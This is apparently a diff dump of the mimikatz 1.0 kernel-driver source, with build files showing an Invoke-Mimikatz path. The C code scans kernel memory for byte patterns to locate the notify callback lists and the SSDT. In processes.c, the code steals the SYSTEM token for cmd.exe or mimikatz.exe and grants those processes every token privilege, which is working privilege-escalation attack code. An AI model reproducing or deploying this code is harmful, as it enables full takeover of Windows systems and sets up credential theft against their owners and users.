||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS getNotifyRegistryRoutine()
|
||||
{
|
||||
NTSTATUS retour = STATUS_NOT_FOUND;
|
||||
#ifdef _M_X64
|
||||
UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d};
|
||||
UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05};
|
||||
|
||||
UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48};
|
||||
LONG OFFS_WN60_Head = -9;
|
||||
UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48};
|
||||
LONG OFFS_WALL_Head = -9;
|
||||
#elif defined _M_IX86
|
||||
UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb};
|
||||
UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9};
|
||||
|
||||
UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8};
|
||||
LONG OFFS_WN60_Head = 12;
|
||||
UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8};
|
||||
LONG OFFS_WN61_Head = -4;
|
||||
UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55};
|
||||
LONG OFFS_WIN8_Head = -4;
|
||||
#endif
|
||||
PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE;
|
||||
PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0;
|
||||
|
||||
if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead)
|
||||
{
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
{
|
||||
retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector));
|
||||
if(NT_SUCCESS(retour))
|
||||
{
|
||||
retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(INDEX_OS < INDEX_7)
|
||||
{
|
||||
pattern = PTRN_WN60_Head;
|
||||
taille = sizeof(PTRN_WN60_Head);
|
||||
offsetTo= OFFS_WN60_Head;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WALL_Head;
|
||||
taille = sizeof(PTRN_WALL_Head);
|
||||
offsetTo= OFFS_WALL_Head;
|
||||
#elif defined _M_IX86
|
||||
if(INDEX_OS < INDEX_8)
|
||||
{
|
||||
pattern = PTRN_WN61_Head;
|
||||
taille = sizeof(PTRN_WN61_Head);
|
||||
offsetTo= OFFS_WN61_Head;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_Head;
|
||||
taille = sizeof(PTRN_WIN8_Head);
|
||||
offsetTo= OFFS_WIN8_Head;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo);
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
#pragma once
|
||||
#include "notify.h"
|
||||
|
||||
ULONG * CmpCallBackCount;
|
||||
PVOID * CmpCallBackVector;
|
||||
PLIST_ENTRY CallbackListHead;
|
||||
|
||||
typedef struct _KIWI_REGISTRY6_CALLBACK
|
||||
{
|
||||
LARGE_INTEGER cookie;
|
||||
PVOID context;
|
||||
PVOID callback;
|
||||
UNICODE_STRING altitude;
|
||||
} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK;
|
||||
|
||||
NTSTATUS getNotifyRegistryRoutine();
|
||||
NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
#include "notify_thread.h"
|
||||
|
||||
ULONG * PspCreateThreadNotifyRoutineCount = NULL;
|
||||
PVOID * PspCreateThreadNotifyRoutine = NULL;
|
||||
|
||||
NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status;
|
||||
ULONG i;
|
||||
PKIWI_CALLBACK monCallBack;
|
||||
|
||||
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n");
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getPspCreateThreadNotifyRoutine();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++)
|
||||
{
|
||||
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]);
|
||||
if(monCallBack != NULL)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS getPspCreateThreadNotifyRoutine()
|
||||
{
|
||||
NTSTATUS retour = STATUS_NOT_FOUND;
|
||||
#ifdef _M_X64
|
||||
UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35};
|
||||
LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread);
|
||||
UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d};
|
||||
LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread);
|
||||
#elif defined _M_IX86
|
||||
UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe};
|
||||
LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread);
|
||||
UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb};
|
||||
LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread);
|
||||
#endif
|
||||
LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
|
||||
LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine;
|
||||
|
||||
PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0;
|
||||
LONG offsetToCount = 0;
|
||||
|
||||
if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount)
|
||||
{
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WNT5_Thread;
|
||||
taille = sizeof(PTRN_WNT5_Thread);
|
||||
offsetTo = OFFS_WNT5_Thread;
|
||||
#endif
|
||||
offsetToCount = OFFS_WNT5_Count;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef _M_X64
|
||||
pattern = PTRN_WNT6_Thread;
|
||||
taille = sizeof(PTRN_WNT6_Thread);
|
||||
offsetTo = OFFS_WNT6_Thread;
|
||||
#endif
|
||||
offsetToCount = OFFS_WNT6_Count;
|
||||
}
|
||||
|
||||
#if defined _M_IX86
|
||||
if(INDEX_OS < INDEX_8)
|
||||
{
|
||||
pattern = PTRN_WNO8_Thread;
|
||||
taille = sizeof(PTRN_WNO8_Thread);
|
||||
offsetTo = OFFS_WNO8_Thread;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_Thread;
|
||||
taille = sizeof(PTRN_WIN8_Thread);
|
||||
offsetTo = OFFS_WIN8_Thread;
|
||||
}
|
||||
#endif
|
||||
|
||||
retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
|
||||
if(NT_SUCCESS(retour))
|
||||
{
|
||||
PspCreateThreadNotifyRoutine = (PVOID) (pointeur);
|
||||
PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
|
||||
|
||||
if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount)
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
#pragma once
|
||||
#include "notify.h"
|
||||
|
||||
#define MAX_NT6_PspCreateThreadNotifyRoutine 64
|
||||
#define MAX_NT5_PspCreateThreadNotifyRoutine 8
|
||||
|
||||
ULONG * PspCreateThreadNotifyRoutineCount;
|
||||
PVOID * PspCreateThreadNotifyRoutine;
|
||||
|
||||
NTSTATUS getPspCreateThreadNotifyRoutine();
|
||||
NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,146 @@
|
|||
#include "processes.h"
|
||||
|
||||
const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] =
|
||||
{
|
||||
/* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */
|
||||
#ifdef _M_IX86
|
||||
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
|
||||
/* INDEX_XP */ {0x0088, 0x0000, 0x0000},
|
||||
/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000},
|
||||
/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040},
|
||||
/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040},
|
||||
/* INDEX_7 */ {0x00b8, 0x026c, 0x0040},
|
||||
/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */
|
||||
/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040}
|
||||
#else
|
||||
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
|
||||
/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */
|
||||
/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000},
|
||||
/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040},
|
||||
/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040},
|
||||
/* INDEX_7 */ {0x0188, 0x043c, 0x0040},
|
||||
/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040},
|
||||
/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040}
|
||||
#endif
|
||||
};
|
||||
|
||||
NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken);
|
||||
}
|
||||
|
||||
NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses);
|
||||
}
|
||||
|
||||
NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status = STATUS_NOT_SUPPORTED;
|
||||
|
||||
if(INDEX_OS >= INDEX_VISTA)
|
||||
status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6);
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action)
|
||||
{
|
||||
NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS;
|
||||
PEPROCESS monProcess = NULL;
|
||||
PCHAR processName = NULL;
|
||||
HANDLE processId = NULL;
|
||||
|
||||
PACCESS_TOKEN monTokenAcess = NULL;
|
||||
PKIWI_NT6_PRIVILEGES mesPrivileges = NULL;
|
||||
|
||||
HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle;
|
||||
PROCESS_ACCESS_TOKEN ProcessTokenInformation;
|
||||
PULONG pFlags2 = NULL;
|
||||
|
||||
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
|
||||
|
||||
for(
|
||||
monProcess = PsInitialSystemProcess;
|
||||
NT_SUCCESS(status) &&
|
||||
(PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess;
|
||||
monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT])
|
||||
)
|
||||
{
|
||||
processName = PsGetProcessImageFileName(monProcess);
|
||||
processId = PsGetProcessId(monProcess);
|
||||
|
||||
if(action == ExchangeToken || action == FullPrivilegeNT6)
|
||||
{
|
||||
if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7))
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouvé :) - PID %u\n", processName, processId
|
||||
);
|
||||
if(action == ExchangeToken)
|
||||
{
|
||||
status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle);
|
||||
if(NT_SUCCESS(status2))
|
||||
{
|
||||
status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle);
|
||||
if(NT_SUCCESS(status2))
|
||||
{
|
||||
status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle);
|
||||
if(NT_SUCCESS(status2))
|
||||
{
|
||||
status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle);
|
||||
if(NT_SUCCESS(status2))
|
||||
{
|
||||
ProcessTokenInformation.Token = newSysTokenHandle;
|
||||
ProcessTokenInformation.Thread = 0;
|
||||
|
||||
if(INDEX_OS >= INDEX_VISTA)
|
||||
{
|
||||
pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]);
|
||||
*pFlags2 &= ~TOKEN_FROZEN_MASK;
|
||||
}
|
||||
|
||||
status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN));
|
||||
if(NT_SUCCESS(status2))
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken échangé :)\n");
|
||||
}
|
||||
|
||||
if(INDEX_OS >= INDEX_VISTA)
|
||||
{
|
||||
*pFlags2 |= TOKEN_FROZEN_MASK;
|
||||
}
|
||||
|
||||
ZwClose(newSysTokenHandle);
|
||||
}
|
||||
ZwClose(sysProcessTokenHandle);
|
||||
}
|
||||
ZwClose(processHandle);
|
||||
ZwClose(sysProcessHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(monTokenAcess = PsReferencePrimaryToken(monProcess))
|
||||
{
|
||||
mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]);
|
||||
|
||||
mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc;
|
||||
mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff;
|
||||
mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff;
|
||||
mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff;
|
||||
mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f;
|
||||
|
||||
PsDereferencePrimaryToken(monTokenAcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
#pragma once
|
||||
#include <ntifs.h>
|
||||
#include "k_types.h"
|
||||
|
||||
#define INDEX_EPROCESS_NEXT 0
|
||||
#define INDEX_EPROCESS_FLAGS2 1
|
||||
#define INDEX_TOKEN_PRIVS 2
|
||||
#define MAX_EPROCESS_LEN 3
|
||||
|
||||
#define TOKEN_FROZEN_MASK 0x00008000
|
||||
|
||||
typedef struct _KIWI_NT6_PRIVILEGES
|
||||
{
|
||||
UCHAR Present[8];
|
||||
UCHAR Enabled[8];
|
||||
UCHAR EnabledByDefault[8];
|
||||
} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES;
|
||||
|
||||
typedef enum _KIWI_EPROCESS_ACTION
|
||||
{
|
||||
ListProcesses,
|
||||
ExchangeToken,
|
||||
FullPrivilegeNT6
|
||||
} KIWI_EPROCESS_ACTION;
|
||||
|
||||
extern char* PsGetProcessImageFileName(PEPROCESS monProcess);
|
||||
extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength);
|
||||
|
||||
NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
||||
NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action);
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
#include "ssdt.h"
|
||||
|
||||
#ifdef _M_X64
|
||||
PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL;
|
||||
#endif
|
||||
|
||||
NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status;
|
||||
USHORT idxFunction;
|
||||
ULONG_PTR funcAddr;
|
||||
|
||||
#ifdef _M_X64
|
||||
status = getKeServiceDescriptorTable();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
#endif
|
||||
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize);
|
||||
for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++)
|
||||
{
|
||||
#ifdef _M_IX86
|
||||
funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction];
|
||||
#else
|
||||
funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService;
|
||||
if(INDEX_OS < INDEX_VISTA)
|
||||
{
|
||||
funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK;
|
||||
}
|
||||
else
|
||||
{
|
||||
funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4;
|
||||
}
|
||||
#endif
|
||||
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
#ifdef _M_X64
|
||||
}
|
||||
#endif
|
||||
return status;
|
||||
}
|
||||
|
||||
#ifdef _M_X64
|
||||
NTSTATUS getKeServiceDescriptorTable()
|
||||
{
|
||||
NTSTATUS retour = STATUS_NOT_FOUND;
|
||||
|
||||
UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83};
|
||||
LONG OFFS_WNO8_Ke = -19;
|
||||
LONG OFFS_WIN8_Ke = -16;
|
||||
|
||||
PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0;
|
||||
UNICODE_STRING maRoutine;
|
||||
PUCHAR baseSearch = NULL;
|
||||
|
||||
if(KeServiceDescriptorTable)
|
||||
{
|
||||
retour = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey");
|
||||
if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine))
|
||||
{
|
||||
refDebut= baseSearch - 21*PAGE_SIZE;
|
||||
refFin = baseSearch + 16*PAGE_SIZE;
|
||||
offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke;
|
||||
|
||||
retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo);
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
#endif
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
#pragma once
|
||||
#include "k_types.h"
|
||||
#include "mod_memory.h"
|
||||
#include "modules.h"
|
||||
|
||||
NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
||||
#ifdef _M_IX86
|
||||
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
|
||||
#else
|
||||
PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
|
||||
NTSTATUS getKeServiceDescriptorTable();
|
||||
#endif
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
|
||||
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
#v4.0:v100
|
||||
Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\|
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\kappfree\kappfree.vcxproj
|
||||
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib
|
||||
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib
|
||||
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp
|
||||
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp
|
||||
|
|
@ -0,0 +1 @@
|
|||
|
||||
|
|
@ -0,0 +1 @@
|
|||
|
||||